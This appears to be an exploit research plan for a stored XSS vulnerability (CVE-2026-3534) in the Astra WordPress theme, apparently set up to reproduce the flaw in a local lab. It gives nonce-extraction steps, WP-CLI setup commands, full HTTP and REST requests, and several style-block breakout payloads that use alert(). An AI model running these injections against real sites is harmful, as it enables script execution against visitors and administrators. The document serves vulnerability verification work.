Research Plan: CVE-2026-3534 - Astra Theme Stored XSS via Post Meta

1. Vulnerability Summary

The Astra theme (<= 4.12.3) for WordPress contains a stored Cross-Site Scripting (XSS) vulnerability. It occurs because the theme fails to properly sanitize specific post meta fields (ast-page-background-meta and ast-content-background-meta) upon registration and subsequently fails to escape their sub-properties (background-color, background-image, overlay-color, overlay-gradient) when they are processed by the astra_get_responsive_background_obj() function and rendered in the page's CSS context. This allows authenticated attackers with Contributor-level permissions or higher to inject malicious scripts into posts.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (via the editpost action) or the WordPress REST API (/wp/v2/posts/{id}).
• Vulnerable Parameter: ast-page-background-meta or ast-content-background-meta within the post meta.
• Authentication: Required (Contributor-level or higher). Contributors can edit their own posts and manage their metadata.
• Preconditions: The Astra theme must be active. The attacker must have a post they are permitted to edit.

3. Code Flow

1. Source: A Contributor user updates a post, providing a malicious payload for the ast-page-background-meta post meta field.
2. Persistence: The payload is stored in the wp_postmeta table. Due to "insufficient input sanitization on meta registration," the raw or insufficiently cleaned payload is saved.
3. Processing: When the post is viewed, Astra calls astra_get_responsive_background_obj() (likely located in inc/lib/core-front/ or inc/theme-update/) to retrieve background settings.
4. Vulnerable Function: astra_get_responsive_background_obj() parses the meta (which is usually a serialized array or JSON string) and extracts properties like background-color.
5. Sink: The extracted properties are passed into a style generation sequence (likely involving wp_add_inline_style or a custom CSS generator) without being passed through esc_attr() or a CSS-specific escaping function.
6. Execution: The browser renders the page, encounters the breakout from the <style> block (e.g., }</style><script>...), and executes the injected JavaScript.

4. Nonce Acquisition Strategy

To exploit this via the standard WordPress post update flow, a valid _wpnonce for the editpost action is required.

1. Log in as a Contributor user.
2. Create or locate a post owned by the Contributor.
3. Navigate to the edit page: wp-admin/post.php?post={POST_ID}&action=edit.
4. Extract the Nonce: Use browser_eval to extract the nonce from the page source.
   • Command: browser_eval("document.querySelector('#_wpnonce').value")
5. Alternative (REST API): If Astra registers these meta fields for the REST API, navigate to the editor and grab the wp_rest nonce from the wpApiSettings object.
   • Command: browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

Step 1: Create a Contributor User and Post

Use WP-CLI to set up the environment.

wp user create attacker attacker@example.com --role=contributor --user_pass=password123
wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --field=ID) --post_title="Vulnerable Post"

Step 2: Identify Meta Structure

Astra stores background meta as a JSON string in post meta. The payload needs to target the desktop responsive key and the background-color or overlay-color property.

Target Payload Structure (JSON):

{
  "desktop": {
    "background-color": "rgba(255,255,255,0); } </style><script>alert(origin)</script><style>.dummy { "
  }
}

Step 3: Inject via HTTP Request

Send a POST request to wp-admin/post.php simulating the post update.

Request Details:

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:
  • action=editpost
  • post_ID={POST_ID}
  • _wpnonce={NONCE}
  • meta_input[ast-page-background-meta]={"desktop":{"background-color":"#ffffff;}</style><script>alert(window.origin)</script><style>.dummy{"}}

Note: If meta_input is not processed by the theme's custom saving logic, the meta may need to be updated via wp-admin/admin-ajax.php if Astra uses a custom AJAX handler for its settings sidebar.

Step 4: Verification on Frontend

Navigate to the post URL and check if the script executes.

6. Test Data Setup

1. Theme: Astra (version <= 4.12.3) installed and active.
2. User: A user with contributor role.
3. Post: A post ID belonging to the contributor.
4. Target Meta Key: ast-page-background-meta.

7. Expected Results

• The HTTP request should return a 302 Redirect back to the post edit page (standard WP behavior).
• When navigating to the post frontend, the HTML source should contain:

  <style id='astra-theme-inline-css' type='text/css'>
  ... { background-color: #ffffff;} </style><script>alert(window.origin)</script><style>.dummy{ ; } ...
  </style>
  

• An alert box showing the site origin should appear in the browser.

8. Verification Steps (Post-Exploit)

Confirm the meta is stored correctly via WP-CLI:

wp post meta get {POST_ID} ast-page-background-meta

The output should match the injected JSON payload.

9. Alternative Approaches

Alternative A: overlay-gradient

If background-color is filtered by a generic sanitizer, overlay-gradient might be missed.
Payload: linear-gradient(#ffffff, #000000); } </style><script>alert(1)</script>

Alternative B: REST API Update

If Astra enables show_in_rest for this meta, update the post via:

• Endpoint: PATCH /wp-json/wp/v2/posts/{ID}
• Header: X-WP-Nonce: {REST_NONCE}
• Body (JSON):

  {
    "meta": {
      "ast-page-background-meta": "{\"desktop\":{\"background-color\":\"#fff;}</style><script>alert(1)</script>\"}}"
    }
  }
  

Alternative C: ast-content-background-meta

Repeat the process using the ast-content-background-meta key if ast-page-background-meta is unavailable or patched differently.